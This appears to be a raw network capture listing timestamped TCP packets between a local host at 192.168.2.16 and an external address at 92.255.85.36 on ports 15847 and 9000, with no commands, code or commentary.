Feb 27, 2025 20:26:07.500793934 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.500838995 CET	9000	52680	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.501111984 CET	52680	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.501815081 CET	9000	52680	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.501900911 CET	52680	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.506258011 CET	9000	52680	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.511279106 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.516549110 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.607270002 CET	52681	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.608247042 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.612622023 CET	9000	52681	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.612833977 CET	52681	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.612833977 CET	52681	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.617954969 CET	9000	52681	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.624156952 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.629328012 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.729266882 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.735568047 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.740797997 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.847345114 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.851485014 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.852619886 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.894825935 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.959429979 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:07.964631081 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:07.972697973 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.022689104 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.071563005 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.105357885 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.150794983 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.183341026 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.217757940 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.262761116 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.297080040 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.298135042 CET	9000	52681	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.298163891 CET	9000	52681	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.298274040 CET	52681	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.298357010 CET	52681	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.304250002 CET	9000	52681	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.338954926 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.390693903 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.407279015 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.407288074 CET	52682	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.414760113 CET	9000	52682	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.414999008 CET	52682	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.414999008 CET	52682	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.420315981 CET	9000	52682	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.460357904 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.460377932 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.501748085 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.518254995 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.523370028 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.581660986 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.628654957 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.629204988 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.634346962 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.703269958 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.741420031 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.746550083 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.824599028 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.853638887 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.858763933 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.945965052 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:08.966170073 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:08.971328974 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.067435026 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.077410936 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.082648993 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.108544111 CET	9000	52682	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.108650923 CET	9000	52682	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.108768940 CET	52682	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.108936071 CET	52682	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.113785028 CET	9000	52682	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.188535929 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.188555956 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.193603992 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.220247984 CET	52683	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.225356102 CET	9000	52683	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.225461006 CET	52683	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.225630045 CET	52683	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.230705023 CET	9000	52683	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.235682011 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.300661087 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.305741072 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.309906960 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.363684893 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.412586927 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.440792084 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.491656065 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.524446011 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.552747965 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.603667021 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.638664961 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.673871994 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.715724945 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.748398066 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.795001030 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.843679905 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.860430002 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.912305117 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.916662931 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.920413971 CET	9000	52683	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.920579910 CET	52683	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.920650959 CET	9000	52683	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.920768023 CET	52683	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.925596952 CET	9000	52683	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:09.971659899 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.972377062 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:09.977493048 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.036226988 CET	52684	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.038021088 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.041320086 CET	9000	52684	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.041394949 CET	52684	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.041470051 CET	52684	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.046520948 CET	9000	52684	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.083699942 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.084626913 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.089675903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.159387112 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.195790052 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.200809002 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.280736923 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.311160088 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.316274881 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.401933908 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.420033932 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.425179005 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.523262024 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.531536102 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.536660910 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.642633915 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.644567013 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.644680023 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.647874117 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.727891922 CET	9000	52684	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.728013039 CET	9000	52684	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.728068113 CET	52684	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.728396893 CET	52684	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.733122110 CET	9000	52684	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.755074978 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.760135889 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.765712023 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.817688942 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.834542036 CET	52685	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.839673996 CET	9000	52685	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.839826107 CET	52685	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.839993000 CET	52685	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.845007896 CET	9000	52685	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.867633104 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.896925926 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:10.944684982 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:10.980386972 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.008565903 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.056699991 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.091535091 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.129740000 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.184664011 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.202109098 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.248285055 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.251008987 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.295770884 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.312832117 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.318051100 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.394445896 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.425410032 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.430613041 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.515635967 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.535573959 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.540733099 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.588807106 CET	9000	52685	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.588876009 CET	9000	52685	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.588958025 CET	52685	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.589011908 CET	52685	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.594166040 CET	9000	52685	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.650634050 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.655786037 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.669388056 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.694060087 CET	52686	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.699203014 CET	9000	52686	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.699285030 CET	52686	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.699362993 CET	52686	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.704433918 CET	9000	52686	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.709685087 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.759820938 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.800869942 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.853676081 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.870692968 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.920744896 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.937854052 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:11.981771946 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.982176065 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:11.987292051 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.058866978 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.094249964 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.099467993 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.179960966 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.205457926 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.210658073 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.301215887 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.324507952 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.329709053 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.422573090 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.429841995 CET	9000	52686	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.429898977 CET	9000	52686	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.429975986 CET	52686	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.430563927 CET	52686	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.433034897 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.435672998 CET	9000	52686	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.438277006 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.541309118 CET	52687	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.542087078 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.544091940 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.547796965 CET	9000	52687	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.548027039 CET	52687	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.548101902 CET	52687	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.548211098 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.553937912 CET	9000	52687	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.588680983 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.653498888 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.659296036 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.664875984 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.716763973 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.765130997 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.796880960 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.843744040 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.876168966 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.907818079 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:12.955791950 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:12.989464045 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.028924942 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.083672047 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.100306034 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.148441076 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.150209904 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.195749044 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.212173939 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.217583895 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.236651897 CET	9000	52687	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.236700058 CET	9000	52687	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.236778975 CET	52687	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.236841917 CET	52687	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.242001057 CET	9000	52687	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.271353006 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.323681116 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.324145079 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.329325914 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.340384960 CET	52688	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.345592976 CET	9000	52688	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.345721960 CET	52688	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.345767021 CET	52688	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.350833893 CET	9000	52688	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.392535925 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.435725927 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.436256886 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.441431999 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.513766050 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.548491001 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.553674936 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.635031939 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.661955118 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.667041063 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.756149054 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.771356106 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.776448965 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.877441883 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.882189989 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.887345076 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.994225025 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:13.998749971 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:13.999382019 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.035238028 CET	9000	52688	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.035295010 CET	9000	52688	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.035367966 CET	52688	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.035482883 CET	52688	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.040755033 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.040762901 CET	9000	52688	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.104824066 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.111540079 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.120100021 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.136127949 CET	52689	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.141298056 CET	9000	52689	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.141835928 CET	52689	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.141973972 CET	52689	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.147022963 CET	9000	52689	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.168004036 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.216373920 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.248987913 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.295792103 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.330008984 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.375600100 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.423768044 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.441154957 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.488409996 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.501323938 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.551944017 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.552644968 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.557877064 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.618355036 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.663683891 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.664249897 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.669365883 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.739670038 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.774324894 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.779561996 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.829582930 CET	9000	52689	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.829607010 CET	9000	52689	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.829729080 CET	52689	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.829785109 CET	52689	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.835038900 CET	9000	52689	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.861093044 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.884510994 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.890412092 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.932272911 CET	52690	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.937776089 CET	9000	52690	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.937875986 CET	52690	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.938003063 CET	52690	9000	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:14.943077087 CET	9000	52690	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.982076883 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:14.997584105 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.003405094 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.103445053 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.108457088 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.113773108 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.220794916 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.224735975 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.226000071 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.267693043 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.331360102 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.336756945 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.346127987 CET	15847	52668	92.255.85.36	192.168.2.16
Feb 27, 2025 20:26:15.394691944 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.427737951 CET	52668	15847	192.168.2.16	92.255.85.36
Feb 27, 2025 20:26:15.476869106 CET	15847	52668	92.255.85.36	192.168.2.16
